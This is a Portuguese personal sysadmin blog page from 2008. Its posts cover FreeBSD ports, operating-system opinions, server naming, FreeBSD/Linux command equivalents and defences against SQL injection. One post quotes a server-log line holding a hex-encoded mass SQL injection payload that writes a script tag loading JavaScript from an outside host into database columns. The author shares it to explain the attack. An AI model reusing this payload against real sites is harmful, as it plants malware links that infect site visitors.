Eli Rios

blog pessoal de tudo sobre tudo…

Erro 404

Posted on | julho 2, 2008 | No Comments

O Erro 404 é um antigo demônio asteca que foi aprisionado pelo Príncipe Charles séculos atrás. Ele permaneceu preso até começar a era da internet, quando os desastrados experientes programadores da Microsoft o libertaram. Hoje esse demônio assombra toda a internet, espalhando o terror aos incautos internautas que navegam por mares nunca antes navegados. (desciclopedia).

A RFC 2616 explica:

404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address. This status code is commonly used when the server does not wish to reveal exactly why the request has been refused, or when no other response is applicable.

Resumindo, o arquivo não existe no servidor, não foi encontrado, só isso…

Suporte Medieval

Posted on | julho 2, 2008 | 1 Comment

Para quem não é da área, é mais ou menos assim acontece (video abaixo). Desculpe a brincadeira, mas informática para usuário é assim – só precisa somente saber ler e ter um pouco de paciência.

Eu como analista tenho que ler livros e livros, acessar blogs, fóruns, sites de suporte. Preciso ligar para empresas, falar com outros suportes, assistir palestras. O usuário só precisa perder o medo do computador e ter um pouco de paciência para ler as mensagens do monitor e lembrar um pouco das orientações do suporte.

Como exemplo um sonoplasta na Rádio Cultura aqui da fundação que trabalho: ele conheceu toda a história da rádio no Brasil, editou áudio de todas as formas possíveis e hoje usa um computador para isso. Grande Lenine.

Abrir a mente, esvaziar a xícara, chame como quiser. A tecnologia só facilita se você deixar ela entrar na sua vida.

SQL Injection – o retorno

Posted on | julho 1, 2008 | No Comments

Hacker bom é .. hacker bom. Gosto dos desafios de criar um sistema um pouco mais seguro.

Postei a alguns dias sobre SQL Injection. Conversando com colegas e amigos de profissão, chegamos a essa lista de soluções:

  • administração em outro link (URI), mantendo no site com um usuário e permissão read e no admin com permissão full (com por exemplo em uma intranet)
  • store procedure (melhor solução)
  • passagem por variáveis para montar as queries. Antes de montar a query, um filtro no programa
  • soluções for dummies no meu post acima linkado

Breve, rápido, simples assim. Desenvolvimento e infra trabalhando juntos.

Ports – Primeira visão no FreeBSD

Posted on | junho 30, 2008 | No Comments

Como bom usuário Slackware que sou, sempre instalava-o zerado e compilava o servidor que queria rodar nele. Aprendi isso com um guru que eu tinha para Linux, um amigo que apelidamos de Jesus, dizia que assim o sistema ficaria leve, personalizado e tudo mais.

Bom, cresci (profissionalmente), tive contatos com outros gurus de informática e aprendi que antes de “leveza”, mais importante era estabilidade.

Quando se compila algum programa, fica complicado sua atualização, durante a complicação você pode perceber que há uma dependência de outra lib ou programa para continuar poder compilar, deve-se pensar em muitos detalhes para rodar o “configure” da instalação, o sistema pode ficar instável, entre mais alguma coisa que possa ter esquecido.

Já instaladores de pacotes (rpm, apt-get, etc) instalam programas que foram testados e retestados pelos mantedores das distros (mas não em todas distros), mas como são binários, não podem ser personalizados.

Conheci então com o Renato o ports (Ports Collection)do FreeBSD. É uma estrutura baseada em Makefiles, diferente do apt-get, rpm, yum, etc, onde os pacotes são baixados da internet no seu formato código-fonte e não em binário. O legal do ports é que ele, além de baixar os sources e compilar, ele também baixa e compila todas as dependências para a instalação.

Vou descrever então como monto um servidor FreeBSD, usando o disco 1 do sistema operacional com o ports. Fácil, instalo o FreeBSD com a opção Custom, onde escolho somente os módulos para User, acesso o site http://www.freebsd.org/ports/ para pesquisar o software que quero instalar, acesso a pasta que indicada com o make de instalação.

Chegou no diretório, agora é fácil fácil: rode make && make install clean. Ele vai exibir uma tela de configuração dos módulo e então vai fazer o download do source, checar dependências, fazer download das dependências, compilar dependências e compilar o módulo, tudo sozinho. Lógico que tem o tempo do donwload, mas nada que mate não.

Assim, a grande vantagem é a personalização do pacote, coisa que não se tem com o apt-get e rpm da vida.

Ah, e se quiser desisntalar algo, no diretório do programa no ports, rode make deinstall. Muito fácil.

Estou adorando FreeBSD…

Sobre sistemas operacionais – minha opinião atual

Posted on | junho 30, 2008 | 2 Comments

Todo mundo fala, opina e retruca, mas não sou “xiita”.
Assim como as pessoas, cada sistema operacional tem algo de bom a oferecer.
Descrevo o que acho:

FreeBSD

FreeBSD

Ágil, leve, rápido e robusto, tem como ponto forte sua segurança, padronização e boa documentação. A primeira coisa que me chamou atenção nele foi o ports: um gerenciador de instalação fácil e rápido. Outro ponto forte é a velocidade para se colocar qualquer serviço no ar – levei 15 minutos para instalar um serviço de http com Apache, sem muitos ajustes, em um servidor sem sistema operacional. Seu ponto fraco fica em sua baixa compatibilidade de hardware, já que só e mantido pela Berkeley. Recomendo para serviços de rede, nunca para desktop.

Linux

Com o mundo todo programando, tem amplo suporte a hardware e uma grande gama de softwares livres a la carte. E o sistema mais integrado ao protocolo TCP/IP, tendo, no meu ponto de vista, a melhor implementação. Muito customizável, sendo isso sua fraqueza e sua fortaleza.
Pelo Linux ser o seu kernel e ser aberto, há muitas distribuições com suas próprias padronizações (ou com a falta dela), o que torna o uso para o leigo um inferno. Para esses indico o Ubuntu, Debian ou ate mesmo Red Hat.
Fácil de programar, leve, versátil e robusto, há distros para todos os gostos.
Recomendo para firewalls e desktops (Ubuntu). Bom também como servidor:
- se o que procura for velocidade, Slackware. Ótimo para firewalls;
- se for novidade, Fedora no seu constante estado beta. Ótimo para programadores;
- se for usabilidade (entendi esse termo com meu amigo, Hodney) e compatibilidade de hardware, Ubuntu. Muito bom para leigos, curiosos e marinheiros de primeira viagem,
- serviços, Debian ou Red Hat.

Mac OS X

Usabilidade e design definem o sistema. E ao contrário do que se pensa, não é só para designers e gente moderninha – é um sistema muito rápido, estável, compatível com outros sistemas, amigável, além de gerenciável por se basear em Unix.
Ainda não oferece bons servidores, mas não importa – é tão compatível que não faz falta.
Seus pontos negativos que percebi até agora são somente rodar em computadores Mac e um editor de apresentações nativo (alguma coisa com Key no nome) pobre de recursos, mas que nada que uma instalação de um Open Office não resolva.
Para mim, o melhor como desktop.

Windows

Muitos vão rir. Até eu nunca pensei antes em dizer isso, mas ele funciona.
Mas calma, que explico minha teoria – ele funciona, mas no estado que chamo de “travado”. Por causa de sua estrutura de bibliotecas, se instalarem muitos programas, o sistema acaba ficando instável. Ideal rodando poucos programas, sem muitas instalações, desinstalações e reinstalações.
E também a plataforma ainda mais rica em quantidade de jogos.
Como servidor, sua versão server tem o ótimo recurso chamado Active Directory, ou AD, perfeito para ambientes corporativos.
Um bom desktop, se não houver muitas instalações, uma boa estação para jogos, com muitos títulos. E é um bom servidor corporativo.
Li há pouco tempo sobre o servidor Samba 4 (para Linux, FreeBSD e outros Unix like), ainda em estado alpha. Promete um AD, o que é bom, para que haja um rival ao Windows Server.

Solaris, Beos, HPUX e outros.

Não usei ou não vi ainda a fundo outros sistemas. Quando tiver algum contato, posto aqui.

Conclusão

Não se pode ser um “xiita” nesse assunto. Para uso pessoal ou corporativo, deve-se estudar a aplicação para melhor escolha.

Sobre esse texto

  1. Essa é uma opinião pessoal, por isso não definitiva. Não pretendo aqui nada mais que expressar minha opinião atual, por isso comentários serão bem vindos.
  2. E esse texto foi todo escrito em um velho Palm Vx, em toda minha ansiedade por blogar.

MS ataca injeção de SQL em sites

Posted on | junho 26, 2008 | 1 Comment

Recebi no meu e-mail agorinha:

A Microsoft liberou esta semana ferramentas para combater ataques por injeção de SQL em web sites.

Recentemente, atacantes invadiram sites legítimos que usam o SQL da Microsoft e injetaram nas páginas códigos maliciosos em JavaScript. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.

Voltada para desenvolvedores web, as novas ferramentas são gratuitas e objetivam prevenir esse tipo de ataque. São três aplicações. A primeira é HP Scrawlr. Desenvolvida pela HP, identifica se o site é suscetível a injeção de SQL.

Outro produto é o URL Scan 3.0 Beta, da própria Microsoft, que tem a função de defesa. O URL Scan restringe os tipos de requisições HTTP que o servidor IIS processa. O produto pode ser instalado no IIS 5.1 e versões posteriores.

Por fim, vem o Source Code Analyzer for SQL Injection, ferramenta também assinada pela Microsoft. Seu objetivo é detectar códigos ASP e ASP.net vulneráveis a ataques de injeção de SQL. Detalhes técnicos sobre os três produtos encontram-se no boletim de segurança 954462(link), de 24 de junho de 2008.

Já vi isso acontecer, no log do servidor achei isso:

189.104.14.173 – - [dd/M/Year:hh:mm:ss -0300] “GET /script.asp?id=23;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×44
45434C415245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F7220435552534F52
20464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379
736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E787479
70653D3939204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F43757273
6F72204645544348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C4043205748494C4528404046455443485F5354415455533D3029
20424547494E20455845432827555044415445205B272B40542B275D2053455420
5B272B40432B275D3D525452494D28434F4E564552542856415243484152283430
3030292C5B272B40432B275D29292B27273C736372697074207372633D68747470
3A2F2F7777772E6462757064722E636F6D2F622E6A733E3C2F7363726970743E27
272729204645544348204E4558542046524F4D205461626C655F437572736F7220
494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72
204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR
(4000));EXEC(@S);– HTTP/1.1″ 500 731

Lógico que esse IIS tem um reverse proxy na frente por segurança. Dá para ver claramente o que o atacante tentou fazer: declara uma variável “S” como varchar(4000), seta o valor dela com uma sequência hexadecimal, provavelmente um executável, e no fim dá um exec(s) para executar o código no servidor.

Não funciona esse ataque quando o usuário SQL só tem permissão para read no banco.

Link: blog GEEKS

Posted on | junho 25, 2008 | No Comments

Pois é, agora adotei mesmo esse costume de blogar. Estou participando de outro blog: GEEKS.BLOG.BR.

Mantido por mim, Jairo Molina, Fúlvio Oliveira, Marga e Alexandre Martins, falamos sobre o que é ser Geek, sobre o que “gostamos”, coisas que nos chamam atenção.

Trabalhamos a um tempo atrás no provedor Intermol, em Mogi das Cruzes. Sempre preocupados em ser referência na região na qualidade de serviços prestados, criamos juntos um forte nome na região, na época do acesso discado. O diferencial era foco no cliente.

Enfim, cada um continuou com sua vida, mas os profissionais que conheci nunca serão esquecidos.

Aprendi lá a importância de ser transparente com os clientes internos e externos de uma empresa, entre outras coisas. Grande escola.

Bom, chega de saudosismo. Fica o convite: http://geeks.blog.br

Qual o nome do seu servidor?

Posted on | junho 25, 2008 | 2 Comments

Quem foi administrador de servidores ou é, já passou, passa ou passará por algo assim: que nome dar ao servidor?
Já vários modelos.
Veja alguns exemplos de modelos de nomes para servidor:

  • Animais : macaco, zebra, leão, gorilla, touro;
  • Frutas : banana, goiaba, morango;
  • Criaturas mitológicas: Cérberos, Medusa, Pégasus;
  • Países e cidades : Monaco, Kosovo, Paris;
  • Nomes de compositors: Jobim, Bach, Sulivam;
  • Deuses gregos: Athena, Zeus, Hades, Hécules;
  • Nomes de mulheres famosas: Pamela, Britney, Paris, Melancia (ué, mas não é fruta?);
  • Personagens de animação: Andy, Flash, Gordon, Bruce (Wayne), Kent;
  • Personagens de anime: Goku, Akira, Luffy, Zoro, Oliver;
  • Personagens femininas: Ino, Rogue, Cheetara, Nami;
  • Números sequenciais: server1, server1, srv11;
  • e assim por diante…

Eu tive um servidor que meu ex-chefe nomeou. Se chamada Dell. Muito sem graça. Os servidores que gerencio atualmente seguem uma ordem numérica (server1, server2), também “sem sal”.
No site pessoal do meu ex-professor (Ulisses do INPE), ele descreve a saga dos nomes de seus servidores: link. Muito bom o texto. Ele descreveu o porque dos nomes e até conta sobre um triangulo amoroso entre três deles, a Patroa, a Outra e o Felots.
Diga então, quais padrões você já seguiu? Eu mesmo já usei nomes de personagens de anime, personagens mitológicos, nome de compositores e nome de mulheres famosas. Imagine um servidor chamado Melancia, hummmm.
Comente, diga o que já usou para nomear seus servidores:

Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!

Posted on | junho 24, 2008 | No Comments

Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!
…e também a pen drives, card drives, camisetas geeks, livros e mais! O BR-Linux e o Efetividade lançaram uma campanha para ajudar a Wikimedia Foundation e outros mantenedores de projetos que usamos no dia-a-dia on-line. Se você puder doar diretamente, ou contribuir de outra forma, são sempre melhores opções. Mas se não puder, veja as regras da promoção e participe – quanto mais divulgação, maior será a doação do BR-Linux e do Efetividade, e você ainda concorre a diversos brindes!

Comandos FreeBSD x Linux

Posted on | junho 23, 2008 | No Comments

São sistemas realmente próximos. O FreeBSD veio de Berkeley e o Linux da Finlândia. Existem boas diferenças, eu mesmo notei agora que tenho mais contato com o FreeBSD. Pesquisando encontrei:

Disco e sistema de arquivos

Uso do disco:

{linux}$ du -sh
{freebsd}$ du -sh

Contagem de subdiretórios no diretório atual:

{linux}$ du --max-depth=1
{freebsd}$ du -d1

Comando para encontrar o maior arquivo/diretório no disco:

{linux}$ du --max-depth=1 -kx|sort -n
{freebsd}$ du -d1 -kx|sort -n

Encontrando alguns tipos de arquivos:

{linux}$ find . -regextype posix-xtended -type f -regex ".*.(java|class)"
{freebsd}$ find -E . -type f -regex ".*.(java|class)"

Mostrar arquivos abertos e programas:

{linux}$ lsof
{freebsd}$ fstat

Uso do disco em tempo real:

{linux}$ vmstat 3
{freebsd}$ iostat 3

Rede

Apresenta portas abertas e aplicativos conectador a elas:

{linux}$ netstat -apne --inet
{freebsd}$ sockstat

Kernel

Apresenta módulos carregados:

{linux}$ lsmod
{freebsd}$ kldstat

Carrega módulo kernel:

{linux}$ modprobe SomeModule
{freebsd}$ kldload SomeModule

Remove módulo carregado:

{linux}$ rmmod SomeModule
{freebsd}$ kldunload SomeModule

Desenvolvimento de programas

Traca chamadas de sistema de um programa:

{linux}$ strace
{freebsd}$ truss
(strace is also available in /usr/ports/devel/strace)

libraries – mostra todos paths + libs:

{linux}$ ldconfig -p
{freebsd}$ ldconfig -r

Gerenciamento de pacotes

Distribuições diferentes de linux fazem de sua forma. Aqui colocarei a análise sobre o Debian, Ubuntu, Kubuntu etc.

Encontra qual pacote o arquivo pertence:

{freebsd}$ pkg_info -W /path/to/checked_file
{linux}$ dpkg -S /path/to/checked_file

Aproximação de pesquisa de pacotes

{linux}$ apt-cache search your_name
{freebsd}$ cd /usr/ports; make search key=your_name
                          make search name=pear display=name,path
    ou simplesmente locate (somente em nome dos pacotes):
{freebsd}$ locate -i your_name | grep "/usr/ports/"

Instalar um pacote binário

{linux}$ apt-get install package_name
{freebsd}$ pkg_add -r package_name

Instala pacotes de sources

{linux}$ apt-src
{freebsd}$ cd /usr/ports/path/package; make install clean
http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html
« go backkeep looking »